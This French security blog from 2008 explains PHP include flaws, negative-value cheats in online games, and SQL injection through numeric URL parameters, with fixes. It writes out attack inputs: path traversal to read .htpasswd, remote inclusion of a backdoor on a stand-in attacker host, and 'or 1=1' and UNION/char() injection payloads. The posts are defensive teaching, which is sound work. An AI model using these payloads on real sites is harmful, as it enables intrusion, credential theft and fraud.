Aller au contenu | Aller au menu | Aller à la recherche

Secure-M

mercredi 18 juin 2008

La "faille Include"

Vous avez peut-être déjà entendu parler de cette fameuse "faille Include", mais savez-vous exactement ce qu'il en est ? Êtes-vous bien protégé ?

Introduction


Cette faille est à ce jour heureusement absente sur la majorité des sites.
Cependant, quelques webmasters n'ont pas corrigé cette faille, et d'autres n'en ont pas conscience.

Mode de fonctionnement


Cette faille se situe dans la structure du site, plus précisément sur certains type d'architectures, où un morceau de code est chargé d'afficher dynamiquement la page demandée. Ainsi l'utilisateur suivant le lien http://www.securem.eu/index.php?page=accueil verra une page qui sera en réalité http://www.securem.eu/accueil.php
<?php
// On peut imaginer qu'ici se trouvera le code commun à toutes les pages :
// Structure XHTML (header, etc...) ainsi que des inclusions aux fichiers tels que header.inc.php (qui contient les fonctions pour le site)
 
$page = $_GET['page']; // Récupération du nom de la page demandée
include('pages/'.$page.'.php'); // Inclusion sur la page
 
// Ici le footer
?>
Niveau fonctionnel, tout est censé bien marcher: un appel à http://www.securem.eu/index.php?page=accueil affiche bien la page pages/accueil.php.

Cependant, que se passe-t-il si une personne mal intentionnée appelle "http://www.securem.eu/index.php?page=" par exemple ?
Si la configuration le permet, une erreur sera affichée:
Warning: include(pages/.php) [function.main]: failed to open stream: No such file or directory in index.php on line 2
En effet, on essaie d'appeler une page qui n'existe pas.
Et ensuite ? Qu'est-ce que ça change qu'un hacker obtienne cette erreur ? C'est pas grave, elle est pas si redoutable cette faille include !
Ooh ! Comment pouvez-vous dire ça !? Cette faille ne permet pas qu'obtenir ce message (qui nous donne des informations sur la structure du site: il y a un dossier /pages contenant des morceaux de code à afficher...
Maintenant, que se passe-t-il si j'appelle http://www.securem.eu/index.php?page=../.htpasswd ? Alors, vous commencez à comprendre ? Eh oui, le htaccess sera affiché en clair ! Je suis en effet remonté dans le dossier parent grâce à ../ et j'ai inclus le fichier .htpasswd, qui contient, je le rappelle, les mots de passe des dossiers sécurisés par un .htaccess.
Note: Le .htpasswd ne s'appelle pas forcément ainsi et n'est pas toujours situé à la racine du site !
Vous comprenez l'ampleur de cette faille ? Pas encore je crois. Alors imaginez ça:
http://www.securem.eu/index.php?page=http://piraaate.fr/backdoor.php
Que va-t-il se passer ? La page backdoor.php sera incluse et... exécutée ! Ainsi, un pirate peut exécuter son propre code sur VOTRE serveur !
Avec un peu d'imagination et grâce à certaines fonctions PHP, on peut voir l'arborescence de votre site, visualiser le fichier de configuration et obtenir ainsi un accès libre et direct à la base de données. Le pirate peut donc contrôler totalement votre site !
Note: il faut que le serveur piraaate.fr n'exécute pas le code PHP, ou bien l'affiche sans l'exécuter, sinon il sera exécuter sur ce serveur et non sur le serveur cible. De plus, les dernières versions de PHP empêchent l'inclusion d'un fichier sur un serveur distant.
[Rédaction en cours]

samedi 7 juin 2008

Les nombres, ou ce que j'appelle être un bidouilleur malicieux

Dans quasiment tous les jeux, et un certain nombre de site, vous êtes parfois amenés à remplir des formulaire avec un valeur numérique:
  • "Envoyer des ressources" dans les jeux
  • "Voter: (+1) (+2)" dans certains sites
  • Et bien d'autres si vous réfléchissez un peu
Mais bon, avec cette constatation, on n'ira pas très loin ;)
Ce qu'il faut savoir, c'est que les scripts PHP qui gèrent ces formulaires ne sont pas toujours assez sécurisés :
  1. Si on ne vérifie pas qu'on a affaire à un chiffre, les injections SQL par IDs numériques sont possibles...
  2. Mais même si on vérifie bien le type envoyé, il existe une autre faille...

Les nombres négatifs
Dans cette faille réside une source de pouvoir infini dans les jeux en ligne.
Prenons l'exemple le plus répandu: l'envoi de ressources.
On imagine donc quelque chose du genre:
<?php
$nb_a_envoyer = $_POST['nb_a_envoyer']; // On récupère le nombre de ressources à envoyer
settype($nb_a_envoyer,'int'); // On protège les données: valeur numérique seulement
 
// On enlève les ressources de chez l'expéditeur
changeressources('or', (-$nb_a_envoyer) ); // Fonction très simple pour augmenter/diminuer le nombre de ressources en fonction du type de ressource et de la valeur
 
/* On appelle maintenant la fonction
 qui va envoyer des "transporteurs"
 avec les ressources à envoyer à la cible
*/
settype($_POST['ID_pour'],'int'); // On protège les données: valeur numérique seulement
envoie_transporteurs($ID_de, $_POST['ID_pour'], $nb_a_envoyer);
 
echo "Ressources envoyées: $nb_a_envoyer à destination du joueur numéro {$_POST['ID_pour']}.";
?>
Je tiens à préciser que cet exemple est extrêmement simpliste, et mériterait un certain nombre d'améliorations...
Ce script est donc "censé" envoyer un certain nombre de pièces d'or à un autre joueur.

Maintenant, si on est un bidouilleur malicieux, que se passe-t-il si on insère une valeur numérique négative pour le nombre de pièces d'or à envoyer ?
<?php
$nb_a_envoyer = -100;
settype($nb_a_envoyer,'int'); // -100 est bien une valeur numérique
 
// On "enlève" les ressources de chez l'expéditeur
changeressources('or', (-$nb_a_envoyer) ); // Le mot "enlever ne convient pas, car - (-100)... vaut +100.
 
envoie_transporteurs($ID_de, $_POST['ID_pour'], $nb_a_envoyer); // On "envoie" -100 pièces d'or...
 
echo "Ressources envoyées: -100 à destination du joueur numéro {$_POST['ID_pour']}.";
?>
On a donc comme changements:
  • Le joueur qui envoie gagne 100 pièces d'or en envoyant les transporteurs
  • Le destinataires recevra -100: il verra donc son nombre de pièces diminuer !

Pour peu que le joueur malicieux ai créé un autre compte "jetable", il peut très facilement y envoyer des quantités infinies de ressources...
Le compte jetable se retrouvera avec un nombre total de pièces à -10000000000. Le joueur malicieux n'a plus qu'à supprimer ce compte, et il se sera mis dans les poches 10 milliards de pièces d'or !


Protection :
<?php
if($nb_a_envoyer <= 0){
   echo 'Trop peu de ressources ;)';
   return false;
}
else{
   ...
}
?>

Quant à l'exemple, vous avez sûrement compris que l'on peut mettre une valeur négative, mais on aurait aussi intérêt à augmenter les nombre de points (ex.: +100 au lieu de +2). Mais pour cela, il faut modifier le code de la page, et ça c'est une autre histoire...

mardi 20 mai 2008

Une autre source possible d'injection SQL: les IDs transmises et les valeurs numériques

Bien souvent, des sites présentent des failles SQL - du fait que les webmestres n'ont pas été sensibilisés à cela. Mais un rempart s'élève quand même: la configuration du serveur. Il suffit que les "Guillemets magiques" (magic quotes) aient été activés dans le php.ini, pour que toutes les chaînes de caractères transmises soient échappées - ce qui rend les injections théoriquement impossible. Cependant cette option, très souvent activée, ne représente pas une protection efficace: En effet cette fonction présente une faille, elle n'échappe pas les valeurs numériques (normal, vous me direz puisque ' n'est pas un nombre). Ou plutôt, elle remplace lorsque la requête a cette forme par exemple WHERE `adresse`="$adresse" mais pas WHERE `age`=$age (du moins c'est ce que j'ai cru voir). Ainsi en modifiant - le plus souvent - une valeur de l'URL, par exemple
http://pigeon.fr/profil.php?id=5
http://pigeon.fr/profil.php?id=5 or 1=1
Si aucune protection n'a été mise en place, alors la liste de tous les profils devrait s'afficher (imaginez le SELECT [...] FROM `comptes` WHERE `id`=$id). A l'aide d'une formulation en UNION on peut ainsi afficher la liste des mots de passe - cryptés si l'admin a été intelligent. Un article arrivera bientôt sur le crack de MD5... Seul inconvénient: si on essaye de mettre des ' alors ils devraient être slashés (si j'ai bonne mémoire ;) ). On peut facilement y rémédier avec la fonction char() qui renvoie un caractère à l'aide de son code ascii. Ainsi ceci permettra de trouver les lettres d'un pass. Peut-être vous ferais-je un petit script qui exploite ces failles en cherchant plus intelligemment et automatiquement.
http://pigeon.fr/profil.php?id=5 union select id,pseudo,pass,date where pass=char(65,65,65)
La valeur numérique peut aussi venir d'un champ d'un formulaire (hidden par exemple). Ainsi en envoyant une valeur malicieuse à partir d'un formulaire on peut obtenir le même résultat. Pour y remédier, c'est simple: Il suffit de forcer la valeur à être un nombre avec la fonction set_type('int',$i) de PHP. Vous pouvez aussi essayer de tester si la valeur est bien numérique avec is_numeric($i) dans le but de repérer les tentatives d'intrusion.

mercredi 7 mai 2008

Comment parer aux injections SQL

En cours de rédaction...

Lire la suite

Les injections SQL en théorie

Encore en rédaction...

Lire la suite

Moi

Sur un blog, il faut forcément la présentation de l'auteur. Voici donc la mienne :
Mickaël, lycéen au Lycée Louis Le Grand. J'habite en banlieue parisienne (3/4 d'heure de RER matin et soir ^^).
J'ai commencé à programmer vers l'âge de 11 ans, en VBS (Visual Basic Script, un langage sans compilation). Ensuite a suivi le HTML, le JavaScript, le CSS, puis le PHP/SQL.
J'ai alors découvert un formidable hébergeur, Olympe Network: PHP & MySQL, Mails et tout ce qui va avec, sans pub, qualité professionnelle et le tout gratuit !
Ensuite je suis passé à Linux, en ayant assez de mon 98 et de mon Windows 2000.
J'ai maintenant acquis une connaissance relative du web, côté serveur grâce à Olympe Network (réplications, DNS, SSH, etc...).

J'ai commencé à m'intéresser à la sécurité web, je ne sais pourquoi, et j'ai réalisé mes premiers "hacks". Ce terme est à utiliser avec des pincettes, car trop de personnes voient en ce geste une attaque informatique visant souvent à tout détruire. Pour ma poire c'est totalement faux puisque je suis un "White Hat", par opposition aux "Black Hat" - vous l'aurez deviné, des "méchants" pirates.
J'ai déjà apporté mon aide pour plusieurs sites que j'ai croisé.

L'idée de ce blog m'est venue à un moment où j'expliquais le principe des injections SQL une fois de plus. Je me suis alors dit "Pourquoi ne pas faire un site sur la sécurité ?". Et voilà ce blog.

mardi 6 mai 2008

Premier billet

Et hop, voici le premier billet de ce blog. Son but va être d'aider les webmasters lors de la sécurisation de leur site, ou simplement pour donner de l'aide sur les différentes failles web qui existantes. J'espère que ce site vous plaira.